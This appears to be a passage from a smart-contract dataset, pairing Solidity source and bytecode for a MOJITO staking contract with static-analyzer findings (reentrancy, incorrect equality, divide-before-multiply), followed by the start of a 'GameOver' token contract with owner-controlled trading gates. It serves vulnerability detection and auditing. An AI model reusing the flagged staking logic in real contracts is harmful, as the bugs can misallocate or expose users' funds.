uint256 timeToday = block.timestamp - creationTimeContract;
uint256 timeT = timeToday.div(86400);
if(timeT > 59)
{
return 0;
}
else
{
uint256 staked = SafeMath.mul(2500000000000000000000, (stakers[user].stakedAmount)).div(TotalStakedETH);
return staked;
}
}
else
return 0;
}
function CLAIMREWARD() external {
uint256 timeToday = block.timestamp - creationTimeContract; //what day it is
uint256 timeT = timeToday.div(86400);
require(stakers[msg.sender].stakedAmount > 0,"you need to stake some coins");
//require(timeT > 0,"Claim Time has not started yet");
uint256 rewardToGive = calculateReward(timeT,msg.sender);
require(MOJITO(rewardToken).transfer(msg.sender,rewardToGive), "ERROR: error in sending reward from contract");
emit CLAIMEDREWARD(msg.sender, rewardToGive);
stakers[msg.sender].TotalMRewarded = (stakers[msg.sender].TotalMRewarded).add(rewardToGive);
stakers[msg.sender].lastClaim = block.timestamp;
TotalMRewards = TotalMRewards.add(rewardToGive);
}
function calculateReward(uint timeday, address user) private view returns(uint256 rew){
uint256 totalReward = 0;
if(timeday>60) //check reward for 0 day
{
uint256 daystocheck = stakers[user].lastClaim - creationTimeContract;
uint256 daysCount = daystocheck.div(86400);
daystocheck = 60 - daysCount;
for(uint i =daystocheck; i<60; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
totalReward = totalReward.add(rewardpday);
}
}else
{
uint256 daystocheck = stakers[user].lastClaim - creationTimeContract; //when did user last withdrew funds
uint256 daysCount = daystocheck.div(86400);
uint256 daystogive = block.timestamp - creationTimeContract; //check what day it is
uint256 daysCounts = daystogive.div(86400);
if(stakers[user].lastClaim == stakers[user].creationTime)
{
uint256 somthing = daysCount * 86400;
daystogive = 0;
if(somthing == 0 )
{
// daystogive = 86400 - daystocheck;
daystogive = block.timestamp - stakers[user].lastClaim;
}
else{
daystogive = daystocheck.sub(somthing);
}
if(daysCount == daysCounts)
{
totalReward = (((stakers[user].stakedAmount)*(rewardperday[daysCounts]))).div(TotalStakedETH);
totalReward = (totalReward.mul(daystogive)).div(86400);
}
else
{
for(uint i = daysCount; i<daysCounts; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
if(i == daysCount)
{
rewardpday = (rewardpday.mul(daystogive)).div(86400);
}
totalReward = totalReward.add(rewardpday);
}
}
}
else
{
if(daysCount == daysCounts)
{
daystogive = block.timestamp - stakers[user].lastClaim;
totalReward = (((stakers[user].stakedAmount)*(rewardperday[daysCounts]))).div(TotalStakedETH);
totalReward = (totalReward.mul(daystogive)).div(86400);
}
else{
for(uint i = daysCount; i<daysCounts; i++)
{
uint256 rewardpday = ((stakers[user].stakedAmount)*(rewardperday[i])).div(TotalStakedETH);
totalReward = totalReward.add(rewardpday);
}
}
}
}
return totalReward;
}
function TotalPoolRewards() external pure returns(uint256 tpreward)
{
return 2500000000000000000000;
}
function MyTotalStaked(address user) external view returns(uint256 totalstaked)
{
return stakers[user].MyTotalStaked;
}
function CurrentTokenReward() external view returns(uint256 crrtr)
{
uint256 timeToday = block.timestamp - creationTimeContract;
uint256 timeT = timeToday.div(86400);
if(timeT > 60)
{
return 0;
}
else
{
return rewardperday[timeT];
}
}
function TotalClaimedReward() external view returns (uint256 TotalM)
{
return TotalMRewards;
}
function SetStakeFee(uint256 percent) external onlyOwner {
require(percent < 10);
StakingFee = percent;
}
function SetUNStakeFee(uint256 percent) external onlyOwner {
require(percent < 10);
UnstakingFee = percent;
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80637a703d2f116100c3578063b290c1351161007c578063b290c13514610583578063b737b74c146105a1578063c9a92a07146105bf578063ca84d591146105dd578063f2fde38b14610621578063f7c618c11461066557610158565b80637a703d2f1461046357806383185e7c146104815780638da5cb5b1461049f5780639168ae72146104d35780639f2d5a9514610547578063a85ab3831461056557610158565b80633284d86e116101155780633284d86e146102f55780633e1da8bd146103235780634baf782e1461037b57806355a3b2c1146103855780636f60965d146103dd5780637154b8b51461043557610158565b806316ae60d61461015d5780631a713b22146101b5578063257c07931461020d5780632920c4ad146102655780632beb811a146102995780632c75bcda146102c7575b600080fd5b61019f6004803603602081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610699565b6040518082815260200191505060405180910390f35b6101f7600480360360208110156101cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610766565b6040518082815260200191505060405180910390f35b61024f6004803603602081101561022357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107b2565b6040518082815260200191505060405180910390f35b61026d6108b7565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102c5600480360360208110156102af57600080fd5b81019080803590602001909291905050506108dd565b005b6102f3600480360360208110156102dd57600080fd5b810190808035906020019092919050505061094c565b005b6103216004803603602081101561030b57600080fd5b8101908080359060200190929190505050610e67565b005b6103656004803603602081101561033957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ed6565b6040518082815260200191505060405180910390f35b610383610f6a565b005b6103c76004803603602081101561039b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112bf565b6040518082815260200191505060405180910390f35b61041f600480360360208110156103f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d7565b6040518082815260200191505060405180910390f35b6104616004803603602081101561044b57600080fd5b8101908080359060200190929190505050611323565b005b61046b6113f0565b6040518082815260200191505060405180910390f35b6104896113f6565b6040518082815260200191505060405180910390f35b6104a7611400565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611424565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b61054f61145a565b6040518082815260200191505060405180910390f35b61056d61146b565b6040518082815260200191505060405180910390f35b61058b6114c3565b6040518082815260200191505060405180910390f35b6105a96114c9565b6040518082815260200191505060405180910390f35b6105c76114d3565b6040518082815260200191505060405180910390f35b610609600480360360208110156105f357600080fd5b81019080803590602001909291905050506114d9565b60405180821515815260200191505060405180910390f35b6106636004803603602081101561063757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a45565b005b61066d611b3a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d602081101561074e57600080fd5b81019080805190602001909291905050509050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411156108ad57600060085442039050600061081f6201518083611b5290919063ffffffff16565b9050603b811115610835576000925050506108b2565b60006108a060035461089268878678326eac900000600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611b9c565b611b5290919063ffffffff16565b90508093505050506108b2565b600090505b919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093557600080fd5b600a811061094257600080fd5b8060058190555050565b600060149054906101000a900460ff166109ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60008060146101000a81548160ff02191690831515021790555080600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410158015610a3a5750600081115b610aac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f496e76616c696420746f6b656e20616d6f756e7420746f20776974686472617781525060200191505060405180910390fd5b6000610ade600a610ad0600554610ac286611c22565b611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9050610af581600654611c7690919063ffffffff16565b6006819055506000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610b4f8587611cfe90919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ba257600080fd5b505af1158015610bb6573d6000803e3d6000fd5b505050506040513d6020811015610bcc57600080fd5b8101908080519060200190929190505050610c4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4572726f7220696e20756e2d7374616b696e6720746f6b656e7300000000000081525060200191505060405180910390fd5b610ca483600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154611cfe90919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506003549050610d028382611cfe90919063ffffffff16565b60038190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055507faeb913af138cc126643912346d844a49a83761eb58fcfc9e571fc99e1b3d9fa233610e0d8486611cfe90919063ffffffff16565b84604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a150506001600060146101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ebf57600080fd5b600a8110610ecc57600080fd5b8060048190555050565b600080600854420390506000610ef86201518083611b5290919063ffffffff16565b90506000600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541115610f5e576000610f518286611d48565b9050809350505050610f65565b6000925050505b919050565b6000600854420390506000610f8b6201518083611b5290919063ffffffff16565b90506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411611045576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f796f75206e65656420746f207374616b6520736f6d6520636f696e730000000081525060200191505060405180910390fd5b60006110518233611d48565b905073da579367c6ca7854009133d1b3739020ba350c2373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156110d857600080fd5b505af11580156110ec573d6000803e3d6000fd5b505050506040513d602081101561110257600080fd5b8101908080519060200190929190505050611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806124d0602c913960400191505060405180910390fd5b7f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e3382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a161121281600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506112b481600154611c7690919063ffffffff16565b600181905550505050565b600a6020528060005260406000206000915090505481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461137b57600080fd5b601e811061138857600080fd5b600181106113ed57806002819055507f3bc0a290dd50b0e5aa5165e0f5861e62db7ba24f8383e760f70170f338e283d43382604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b50565b60035481565b6000600654905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b600068878678326eac900000905090565b60008060085442039050600061148d6201518083611b5290919063ffffffff16565b9050603c8111156114a3576000925050506114c0565b600b81815481106114b057fe5b9060005260206000200154925050505b90565b60025481565b6000600154905090565b60085481565b60008060149054906101000a900460ff1661155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b60008060146101000a81548160ff021916908315150217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561162757600080fd5b505af115801561163b573d6000803e3d6000fd5b505050506040513d602081101561165157600080fd5b81019080805190602001909291905050506116b7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061251d602e913960400191505060405180910390fd5b60006116e9600a6116db6004546116cd87611c22565b611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9050611752600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546117448386611cfe90919063ffffffff16565b611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055506117ad81600654611c7690919063ffffffff16565b60068190555042600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555061193e6118ed600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546118df8487611cfe90919063ffffffff16565b611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154611c7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055506119ab61199a8285611cfe90919063ffffffff16565b600354611c7690919063ffffffff16565b6003819055507f99b6f4b247a06a3dbcda8d2244b818e254005608c2455221a00383939a119e7c336119e68386611cfe90919063ffffffff16565b83604051808473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a160019150506001600060146101000a81548160ff021916908315150217905550919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a9d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b73da579367c6ca7854009133d1b3739020ba350c2381565b6000611b9483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061232e565b905092915050565b600080831415611baf5760009050611c1c565b6000828402905082848281611bc057fe5b0414611c17576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806124fc6021913960400191505060405180910390fd5b809150505b92915050565b600080611c396064846123f490919063ffffffff16565b90506000611c6a6002600a0a606402611c5c606485611b9c90919063ffffffff16565b611b5290919063ffffffff16565b90508092505050919050565b600080828401905083811015611cf4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611d4083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061240f565b905092915050565b60008060009050603c841115611e71576000600854600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301540390506000611dbb6201518083611b5290919063ffffffff16565b905080603c03915060008290505b603c811015611e69576000611e44600354600b8481548110611de757fe5b9060005260206000200154600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b9050611e598186611c7690919063ffffffff16565b9450508080600101915050611dc9565b505050612324565b6000600854600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301540390506000611ed46201518083611b5290919063ffffffff16565b90506000600854420390506000611ef76201518083611b5290919063ffffffff16565b9050600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156121875760006201518084029050600092506000811415611fe857600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015442039250611ffe565b611ffb8186611cfe90919063ffffffff16565b92505b818414156120a757612076600354600b848154811061201957fe5b9060005260206000200154600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b95506120a0620151806120928589611b9c90919063ffffffff16565b611b5290919063ffffffff16565b9550612181565b60008490505b8281101561217f576000612127600354600b84815481106120ca57fe5b9060005260206000200154600960008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b90508582141561215c576121596201518061214b8784611b9c90919063ffffffff16565b611b5290919063ffffffff16565b90505b61216f8189611c7690919063ffffffff16565b97505080806001019150506120ad565b505b5061231f565b8083141561227757600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015442039150612246600354600b83815481106121e957fe5b9060005260206000200154600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b9450612270620151806122628488611b9c90919063ffffffff16565b611b5290919063ffffffff16565b945061231e565b60008390505b8181101561231c5760006122f7600354600b848154811061229a57fe5b9060005260206000200154600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015402611b5290919063ffffffff16565b905061230c8188611c7690919063ffffffff16565b965050808060010191505061227d565b505b5b505050505b8091505092915050565b600080831182906123da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561239f578082015181840152602081019050612384565b50505050905090810190601f1680156123cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816123e657fe5b049050809150509392505050565b600081826001848601038161240557fe5b0402905092915050565b60008383111582906124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612481578082015181840152602081019050612466565b50505050905090810190601f1680156124ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74a2646970667358221220d795e7a95c8c8f62bc343a929920db98d9e285412d9d1ef8ff838d8d843d1f6464736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,058 |
0x3145b04272D19789035A585E1CA3AE601972Dc3a
|
/**
*Submitted for verification at Etherscan.io on 2021-10-21
*/
// SPDX-License-Identifier: NOLICENSE
/*
Telegram: https://t.me/Bot_GameOver
*/
pragma solidity ^0.8.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract GameOver is Context, IERC20, Ownable {
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private _isBot;
mapping (address => bool) _allowedTransfer;
address[] private _excluded;
bool public swapEnabled;
bool private swapping;
bool public tradingEnabled;
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 50000 * 10**_decimals;
uint256 public maxWalletBalance = 1_000_000 * 10**_decimals;
string private constant _name = "GameOver";
string private constant _symbol = "GameOver";
address public marketingWallet = 0xA6c875b1c859c29e6E79d7e27Bc7bb0525612f62;
struct feeRatesStruct {
uint256 rfi;
uint256 marketing;
}
feeRatesStruct public feeRates = feeRatesStruct(
{rfi: 2,
marketing: 8
});
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
}
event FeesChanged();
event UpdatedRouter(address oldRouter, address newRouter);
modifier antiSniper(address account){
require(tradingEnabled || _allowedTransfer[account], "Trading not enabled yet");
_;
}
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
constructor (address routerAddress) {
IRouter _router = IRouter(routerAddress);
address _pair = IFactory(_router.factory())
.createPair(address(this), _router.WETH());
router = _router;
pair = _pair;
excludeFromReward(pair);
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
_allowedTransfer[owner()] = true;
_allowedTransfer[marketingWallet] = true;
_allowedTransfer[address(this)] = true;
emit Transfer(address(0), owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override antiSniper(msg.sender) returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override antiSniper(msg.sender) returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override antiSniper(sender) returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual antiSniper(msg.sender) returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender]+addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual antiSniper(msg.sender) returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}
function excludeFromReward(address account) internal {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) internal {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setAllowedTransfer(address account, bool value) external onlyOwner{
_allowedTransfer[account] = value;
}
function setTradingEnabled(bool _enabled) external onlyOwner{
tradingEnabled = _enabled;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -=rRfi;
totFeesPaid.rfi +=tRfi;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
totFeesPaid.marketing +=tMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)]+=tMarketing;
}
_rOwned[address(this)] +=rMarketing;
}
function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);
(to_return.rAmount, to_return.rTransferAmount, to_return.rRfi, to_return.rMarketing) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {
if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*feeRates.rfi/100;
s.tMarketing = tAmount*feeRates.marketing/100;
s.tTransferAmount = tAmount-s.tRfi-s.tMarketing;
return s;
}
function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing) {
rAmount = tAmount*currentRate;
if(!takeFee) {
return(rAmount, rAmount, 0,0);
}
rRfi = s.tRfi*currentRate;
rMarketing = s.tMarketing*currentRate;
rTransferAmount = rAmount-rRfi-rMarketing;
return (rAmount, rTransferAmount, rRfi,rMarketing);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
